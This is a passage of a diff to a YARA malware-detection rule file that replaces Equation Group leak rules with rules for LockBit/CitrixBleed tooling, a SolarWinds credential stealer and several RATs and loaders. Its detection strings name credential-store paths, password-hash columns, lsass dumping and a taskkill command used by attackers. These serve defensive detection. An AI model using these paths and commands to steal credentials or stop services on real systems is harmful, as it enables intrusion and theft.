+		hash2 = "0eb66eebb9b4d671f759fb2e8b239e8a6ab193a732da8583e6e8721a2670a96d"
 
 	strings:
-		$s1 = "USAGE: SetOurAddr <input file> <output file> <protocol> [IP/IPX address]" fullword ascii
-		$s2 = "Replaced default IP address (127.0.0.1) with Local IP Address %d.%d.%d.%d" fullword ascii
+		$s1 = "ERROR GET INTERVAL" ascii
+		$s2 = "OFF HIDDEN MODE" ascii
+		$s3 = "commandMod:" ascii
+		$s4 = "RESULT:" ascii
+		$op1 = { C7 44 24 ?? 01 00 00 00 C7 84 24 ?? ?? ?? ?? FF FF FF FF 83 7C 24 ?? 00 74 ?? 83 BC 24 ?? ?? ?? ?? 00 74 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 00 04 00 00 48 8D 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 }
+		$op2 = { 48 C7 44 24 ?? 00 00 00 00 C7 44 24 ?? 00 00 00 00 C7 44 24 ?? 03 00 00 00 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 4C 8D 0D ?? ?? ?? ?? 44 0F B7 05 ?? ?? ?? ?? 48 8B D0 48 8B 4C 24 ?? FF 15 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
+		uint16(0)==0x5a4d and ( all of ($s*) or all of ($op*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Getadmin_LSADUMP_Modifyprivilege_Implant : FILE
+rule SIGNATURE_BASE_MAL_Trojan_DLL_Nov23 : CVE_2023_4966 FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b3fda153-563c-5a5c-9f5c-12d6ef8b3d95"
-		date = "2017-04-15"
+		description = "Detects a trojan DLL that installs other components - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
+		author = "X__Junior"
+		id = "1dd87d0a-2b8b-5386-8fdd-40d184c731a4"
+		date = "2023-11-23"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2860-L2882"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ee5c818c29ccb1b280669f7f5e828963c4523b73b68674d8c0aae72189f0208c"
-		score = 75
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L24-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9be42742711b4d0440244b507945e074b61c456588580b3263f899a7eb84d8aa"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c8b354793ad5a16744cf1d4efdc5fe48d5a0cf0657974eb7145e0088fcf609ff"
-		hash2 = "5f06ec411f127f23add9f897dc165eaa68cbe8bb99da8f00a4a360f108bb8741"
+		tags = "CVE-2023-4966, FILE"
+		hash1 = "e557e1440e394537cca71ed3d61372106c3c70eb6ef9f07521768f23a0974068"
 
 	strings:
-		$s1 = "\\system32\\win32k.sys" wide
-		$s2 = "hKeAddSystemServiceTable" fullword ascii
-		$s3 = "hPsDereferencePrimaryToken" fullword ascii
-		$s4 = "CcnFormSyncExFBC" fullword wide
-		$s5 = "hPsDereferencePrimaryToken" fullword ascii
-		$op1 = { 0c 2b ca 8a 04 11 3a 02 75 01 47 42 4e 75 f4 8b }
-		$op2 = { 14 83 c1 05 80 39 85 75 0c 80 79 01 c0 75 06 80 }
-		$op3 = { eb 3d 83 c0 06 33 f6 80 38 ff 75 2c 80 78 01 15 }
+		$op1 = { C7 84 24 ?? ?? ?? ?? 52 70 63 53 C7 84 24 ?? ?? ?? ?? 74 72 69 6E C7 84 24 ?? ?? ?? ?? 67 42 69 6E C7 84 24 ?? ?? ?? ?? 64 69 6E 67 C7 84 24 ?? ?? ?? ?? 43 6F 6D 70 C7 84 24 ?? ?? ?? ?? 6F 73 65 41 C7 84 24 ?? ?? ?? ?? 00 40 01 01 }
+		$op2 = { C7 84 24 ?? ?? ?? ?? 6C 73 61 73 C7 84 24 ?? ?? ?? ?? 73 70 69 72 66 C7 84 24 ?? ?? 00 00 70 63 }
+		$op3 = { C7 84 24 ?? ?? ?? ?? 4E 64 72 43 C7 84 24 ?? ?? ?? ?? 6C 69 65 6E C7 84 24 ?? ?? ?? ?? 74 43 61 6C C7 84 24 ?? ?? ?? ?? 6C 33 00 8D }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and (4 of ($s*) or all of ($op*)))
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Sendpktrigger : FILE
+rule SIGNATURE_BASE_MAL_DLL_Stealer_Nov23 : CVE_2023_4966 FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6cbf95eb-323c-53a3-9aca-222626add4dc"
-		date = "2017-04-15"
+		description = "Detects a DLL that steals authentication credentials - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
+		author = "X__Junior"
+		id = "9cfed8ec-1d04-53d7-88ef-2576075cfc33"
+		date = "2023-11-23"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2884-L2897"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "277367e69406a84ff4ff6b57d05bf97468b0083e23f9c5cd14cdd26cad5846d7"
-		score = 75
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L41-L54"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7d0c46d855973cb2c0636aed9c67cfbe47ca260ab1bc842fef1d532725c26910"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2f9c7a857948795873a61f4d4f08e1bd0a41e3d6ffde212db389365488fa6e26"
+		tags = "CVE-2023-4966, FILE"
+		hash1 = "17a27b1759f10d1f6f1f51a11c0efea550e2075c2c394259af4d3f855bbcc994"
 
 	strings:
-		$x1 = "----====**** PORT KNOCK TRIGGER BEGIN ****====----" fullword wide
+		$op1 = { C7 45 ?? 4D 69 6E 69 C7 45 ?? 44 75 6D 70 C7 45 ?? 57 72 69 74 C7 45 ?? 65 44 75 6D C7 45 ?? 70 00 27 00 C7 45 ?? 44 00 62 00 C7 45 ?? 67 00 68 00 C7 45 ?? 65 00 6C 00 C7 45 ?? 70 00 2E 00 C7 45 ?? 64 00 6C 00 C7 45 ?? 6C 00 00 00}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Dmgz_Target_2 : FILE
+rule SIGNATURE_BASE_MAL_Python_Backdoor_Script_Nov23 : CVE_2023_4966 FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "426e982c-2380-5801-ba80-ab25ec4c0f74"
-		date = "2017-04-15"
+		description = "Detects a trojan (written in Python) that communicates with c2 - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
+		author = "X__Junior"
+		id = "861f9ce3-3c54-5c56-b50b-2b7536783f6e"
+		date = "2023-11-23"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2899-L2916"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ab9ab949ee17655e424f6a65d3605e9900d214d1c620e051104762d5c214419f"
-		score = 75
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L56-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b336f6438a420af49b1b0144039f1051f12c0c54f77a94e2f947f71d1f6230b3"
+		score = 80
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "55ac29b9a67e0324044dafaba27a7f01ca3d8e4d8e020259025195abe42aa904"
+		tags = "CVE-2023-4966, FILE"
+		hash1 = "906602ea3c887af67bcb4531bbbb459d7c24a2efcb866bcb1e3b028a51f12ae6"
 
 	strings:
-		$s1 = "\\\\.\\%ls" fullword ascii
-		$op0 = { e8 ce 34 00 00 b8 02 00 00 f0 e9 26 02 00 00 48 }
-		$op1 = { 8b 4d 28 e8 02 05 00 00 89 45 34 eb 07 c7 45 34 }
-		$op2 = { e8 c2 34 00 00 90 48 8d 8c 24 00 01 00 00 e8 a4 }
+		$s1 = "port = 443 if \"https\"" ascii
+		$s2 = "winrm.Session basic error" ascii
+		$s3 = "Windwoscmd.run_cmd(str(cmd))" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		filesize <50KB and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Mstcp32_DXGHLP16_Tdip : FILE
+rule SIGNATURE_BASE_APT_RANSOM_Lockbit_Forensicartifacts_Nov23
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5b54e68b-7bf3-59a0-8257-c370a3b9e4db"
-		date = "2017-04-15"
-		modified = "2023-01-06"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2918-L2938"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "35fab86ca4cb287c8046a1764a91523673e12b5729d87c90b0c298dcbfcf86eb"
+		description = "Detects patterns found in Lockbit TA attacks exploiting Citrixbleed vulnerability CVE 2023-4966"
+		author = "Florian Roth"
+		id = "04bde599-2a5b-5a33-a6f1-67d57a564946"
+		date = "2023-11-22"
+		modified = "2023-12-05"
+		reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ransom_lockbit_citrixbleed_nov23.yar#L73-L86"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6ba1d47e2cac72143c4612c420777024f114afc007c7b15251a58819654aeff1"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "26215bc56dc31d2466d72f1f4e1b6388e62606e9949bc41c28968fcb9a9d60a6"
-		hash2 = "fcfb56fa79d2383d34c471ef439314edc2239d632a880aa2de3cea430f6b5665"
-		hash3 = "a5ec4d102d802ada7c5083af53fd9d3c9b5aa83be9de58dbb4fac7876faf6d29"
+		tags = ""
 
 	strings:
-		$s1 = "\\Registry\\User\\CurrentUser\\" wide
-		$s2 = "\\DosDevices\\%ws" wide
-		$s3 = "\\Device\\%ws_%ws" wide
-		$s4 = "sys\\mstcp32.dbg" fullword ascii
-		$s5 = "%ws%03d%ws%wZ" fullword wide
-		$s6 = "TCP/IP driver" fullword wide
+		$x1 = "taskkill /f /im sqlwriter.exe /im winmysqladmin.exe /im w3sqlmgr.exe"
+		$x2 = " 1> \\\\127.0.0.1\\admin$\\__"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 4 of them )
+		1 of ($x*)
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Regprobe : FILE
+rule SIGNATURE_BASE_HKTL_Solarwinds_Credential_Stealer : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "184618b7-a24c-5a8c-9fb2-a5a07f1a0299"
-		date = "2017-04-15"
+		description = "Detects solarwinds credential stealers like e.g. solarflare via the touched certificate, files and database columns"
+		author = "Arnim Rupp"
+		id = "87dba889-367a-5fc3-b5e0-eb8e3c36a5e9"
+		date = "2021-01-20"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2940-L2955"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "01e7387c26ae3736c8fac1a3bb6ff283f8b06949af7a4ac36a556b292412bda2"
+		reference = "https://github.com/mubix/solarflare"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_solarwinds_credential_stealer.yar#L2-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1b2e5186464ed0bdd38fcd9f4ab294a7ba28bd829bf296584cbc32e2889037e4"
+		hash = "4adb69d4222c80d97f8d64e4d48b574908a518f8d504f24ce93a18b90bd506dc"
+		logic_hash = "ccf55ba7b66ff8d0f926999f3d68dc3b2fdc1c9ce15e1f08b75d003c62393312"
 		score = 75
-		quality = 85
+		quality = 51
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "99a42440d4cf1186aad1fd09072bd1265e7c6ebbc8bcafc28340b4fe371767de"
 
 	strings:
-		$x1 = "Usage: %s targetIP protocolSequence portNo [redirectorIP] [CLSID]" fullword ascii
-		$x2 = "key does not exist or pinging w2k system" fullword ascii
-		$x3 = "RpcProxy=255.255.255.255:65536" fullword ascii
+		$certificate = "CN=SolarWinds-Orion" ascii nocase wide
+		$credfile1 = "\\CredentialStorage\\SolarWindsDatabaseAccessCredential" ascii nocase wide
+		$credfile2 = "\\KeyStorage\\CryptoHelper\\default.dat" ascii nocase wide
+		$credfile3 = "\\Orion\\SWNetPerfMon.DB" ascii nocase wide
+		$credfile4 = "\\Orion\\RabbitMQ\\.erlang.cookie" ascii nocase wide
+		$sql1 = "encryptedkey" ascii nocase wide fullword
+		$sql2 = "protectiontype" ascii nocase wide fullword
+		$sql3 = "CredentialProperty" ascii nocase wide fullword
+		$sql4 = "passwordhash" ascii nocase wide fullword
+		$sql5 = "credentialtype" ascii nocase wide fullword
+		$sql6 = "passwordsalt" ascii nocase wide fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
+		uint16(0)==0x5A4D and $certificate and (2 of ($credfile*) or 5 of ($sql*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Doublefeaturedll_Dll_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Exilerat_Feb19_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects Exile RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f77fd49f-815b-5fb9-a3d7-8721edf79b28"
-		date = "2017-04-15"
+		id = "f0a510f3-5fea-59a7-8991-9d06dc478b2a"
+		date = "2019-02-04"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2957-L2974"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0d6751ebfb2541c86b74583b7867de0a193ca106bf77337c8b10f15cdeb596bd"
+		reference = "https://creativecommons.org/licenses/by-nc/4.0/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_exile_rat.yar#L4-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0556bc0dbd33502d5bf823cf265a4e133d9af43076abe35a86cf5e20ab314e35"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f265defd87094c95c7d3ddf009d115207cd9d4007cf98629e814eda8798906af"
-		hash2 = "8d62ca9e6d89f2b835d07deb5e684a576607e4fe3740f77c0570d7b16ebc2985"
-		hash3 = "634a80e37e4b32706ad1ea4a2ff414473618a8c42a369880db7cc127c0eb705e"
+		hash1 = "3eb026d8b778716231a07b3dbbdc99e2d3a635b1956de8a1e6efc659330e52de"
 
 	strings:
-		$s1 = ".dllfD" fullword ascii
-		$s2 = "Khsppxu" fullword ascii
-		$s3 = "D$8.exe" fullword ascii
+		$x1 = "Content-Disposition:form-data;name=\"x.bin\"" fullword ascii
+		$s1 = "syshost.dll" fullword ascii
+		$s2 = "\\scout\\Release\\scout.pdb" ascii
+		$s3 = "C:\\data.ini" fullword ascii
+		$s4 = "my-ip\" value=\"" fullword ascii
+		$s5 = "ver:%d.%d.%d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="da8475fc7c3c90c0604ce6a0b56b5f21" or 3 of them )
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Gangsterthief_Implant : FILE
+rule SIGNATURE_BASE_MAL_Crime_Win32_Loader_Guloader_1_Experimental : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9127f280-135e-5f83-9587-eab3ad84ad69"
-		date = "2017-04-15"
+		description = "Detects injected GuLoader shellcode bin"
+		author = "@VK_Intel"
+		id = "c37882c6-15dc-54dc-8c10-7e91ea0fc6bd"
+		date = "2020-05-04"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2976-L2993"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c8145d6eedf20cf95baf329a6240b5b740273ff0a7f82edd3c346eb8c67e69e1"
-		score = 75
+		reference = "https://twitter.com/VK_Intel/status/1257206565146370050"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_guloader.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "03b7e0251b1c08798ce310cc4c11adfaa3071409d608c91c30d5fc7e28a079de"
+		score = 50
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "50b269bda5fedcf5a62ee0514c4b14d48d53dd18ac3075dcc80b52d0c2783e06"
+		tlp = "white"
 
 	strings:
-		$s1 = "\\\\.\\%s:" fullword wide
-		$s4 = "raw_open CreateFile error" fullword ascii
-		$s5 = "-PATHDELETED-" ascii
-		$s6 = "(deleted)" fullword wide
-		$s8 = "NULLFILENAME" fullword ascii
+		$djib2_hash = { f8 8b ?? ?? ?? ba 05 15 00 00 89 d3 39 c0 c1 e2 05 81 ff f6 62 f1 87 01 da 0f ?? ?? d9 d0 01 da 83 c6 02 66 ?? ?? ?? 75 ?? c2 04 00}
+		$nt_inject_loader = {8b ?? ?? ba 44 1a 0e 9e 39 d2 e8 ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? f8 ba d0 e0 8b 30 e8 ?? ?? ?? ?? d9 d0 89 ?? ?? d9 d0 81 fb 20 af 00 00 8b ?? ?? 39 c9 ba 92 a7 f3 95 e8 ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? 39 d2 ba d0 20 2e d0 e8 ?? ?? ?? ?? 89 ?? ?? f8 8b ?? ?? ba 6a 19 1f 23 d9 d0 e8 ?? ?? ?? ?? d9 d0 89 ?? ?? 81 fb e4 8c 00 00 39 c9 8b ?? ?? ba 19 50 9c c2 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 39 d2 8b ?? ?? fc ba 3d 13 8e 8b e8 ?? ?? ?? ?? d9 d0 89 ?? ?? f8 8b ?? ?? ba 30 3d 7b 2c e8 ?? ?? ?? ??}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 3 of them )
+		uint16(0)==0x5a4d and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Setcallbackports : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Elise_Jan18_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects Elise malware samples - fake Norton Security NavShExt.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3c06fc74-2e75-5348-bb62-30c724de1414"
-		date = "2017-04-15"
+		id = "8e4f4ec8-5d31-5990-8c14-861423571a79"
+		date = "2018-01-24"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2995-L3009"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e087534589228ac1af8b8b8d2ebbc1bc99fc25b38cb4c4d840cab8e90e75644a"
+		reference = "https://twitter.com/blu3_team/status/955971742329135105"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_lotusblossom_elise.yar#L13-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d43486db0d4263f91924da89f1922ad965ed91eadd07ae0705eecd371f31fa44"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "16f66c2593665c2507a78f96c0c2a9583eab0bda13a639e28f550c92f9134ff0"
+		hash1 = "6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3f1ade3862eae79"
 
 	strings:
-		$s1 = "USAGE: %s <input file> <output file> <port1> [port2] [port3] [port4] [port5] [port6]" fullword ascii
-		$s2 = "You may enter between 1 and 6 ports to change the defaults." fullword ascii
+		$s1 = "NavShExt.dll" fullword wide
+		$s2 = "Norton Security" fullword wide
+		$a1 = "donotbotherme" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <250KB and (pe.imphash()=="e9478ee4ebf085d1f14f64ba96ef082f" or (1 of ($s*) and $a1))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Diba_Target_BH_2000 : FILE
+rule SIGNATURE_BASE_MAL_Crime_Win32_Rat_Parallax_Shell_Bin : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b02fa407-e6f1-5c2d-a587-7edb55dbe0a5"
-		date = "2017-04-15"
+		description = "Detects Parallax injected code"
+		author = "@VK_Intel"
+		id = "6bb337ef-3156-589a-9b2f-fa1b21699433"
+		date = "2020-05-05"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L3011-L3025"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0cd3ba351b1c5716ed322c9f177a848322324526f3d39c2be5cc34bc6aee9fa6"
+		reference = "https://twitter.com/VK_Intel/status/1257714191902937088"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_rat_parallax.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6b8c71cc19ca6f066d27a4e58d9ec347ac51d245308f2c41adf2386242581610"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "0654b4b8727488769390cd091029f08245d690dd90d1120e8feec336d1f9e788"
+		tlp = "white"
 
 	strings:
-		$s2 = "0M1U1Z1p1" fullword ascii
-		$s14 = "SPRQWV" fullword ascii
+		$ntdll_load = {55 8b ec 81 ec d0 08 00 00 53 56 57 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 33 c0 b9 18 01 00 00 f3 ?? 68 02 9f e6 6a e8 ?? ?? ?? ?? 8b d8 68 40 5e c0 84 89 ?? ?? e8 ?? ?? ?? ?? 6a 00 8b f0 68 0b 1c 64 72 53 89 ?? ?? e8 ?? ?? ?? ?? 83 c4 14 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 68 30 02 00 00 51 ff d0 6a 6e 58 6a 74 66 ?? ?? ?? ?? ?? ?? 58 6a 64 59 6a 6c 66 ?? ?? ?? ?? ?? ?? 58 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 33 c0 6a 2e}
+		$call_func = {81 ec bc 00 00 00 8d ?? ?? 56 50 6a 00 6a 01 ff ?? ?? e8 ?? ?? ?? ?? 8b f0 83 c4 10 85 f6 0f ?? ?? ?? ?? ?? 33 c9 89 ?? ?? 39 ?? ?? 0f ?? ?? ?? ?? ?? 8b ?? ?? 53 57 8b ?? ?? 8d ?? ?? 0f ?? ?? ?? 8b ?? ?? 8d ?? ?? 8b ?? ?? 03 fa 8b df 2b da 03 ?? ?? 80 ?? ?? 0f ?? ?? ?? ?? ?? 83 ?? ?? ?? 8b c7 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 99 89 ?? ?? 8b ca 89 ?? ?? 8d ?? ?? 99 89 ?? ?? 89 ?? ?? 8d ?? ?? 89 ?? ?? 89 ?? ?? 8b ca 99 89 ?? ?? 89 ?? ?? 8b ca 89 ?? ?? 89 ?? ?? 8d ?? ?? 6a 40 89 ?? ??}
+		$cryp_hex = {8b ec 8b ?? ?? 25 55 55 55 55 d1 e0 8b ?? ?? d1 e9 81 e1 55 55 55 55 0b c1 89 ?? ?? 8b ?? ?? 81 e2 33 33 33 33 c1 e2 02 8b ?? ?? c1 e8 02 25 33 33 33 33 0b d0 89 ?? ?? 8b ?? ?? 81 e1 0f 0f 0f 0f c1 e1 04 8b ?? ?? c1 ea 04 81 e2 0f 0f 0f 0f 0b ca 89 ?? ?? 8b ?? ?? c1 e0 18 8b ?? ?? 81 e1 00 ff 00 00 c1 e1 08 0b c1 8b ?? ?? c1 ea 08 81 e2 00 ff 00 00 0b c2 8b ?? ?? c1 e9 18 0b c1 89 ?? ?? 8b ?? ?? 5d c3}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		uint16(0)==0x5a4d and 2 of them or all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Rc5 : FILE
+rule SIGNATURE_BASE_Unspecified_Malware_Jul17_2C : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Unspecified Malware - CN relation"
 		author = "Florian Roth (Nextron Systems)"
-		id = "854c1726-4ba4-5464-a765-4dd154a1b166"
-		date = "2017-04-15"
+		id = "91e760e8-7460-54af-a794-0b41a4b19760"
+		date = "2017-07-18"
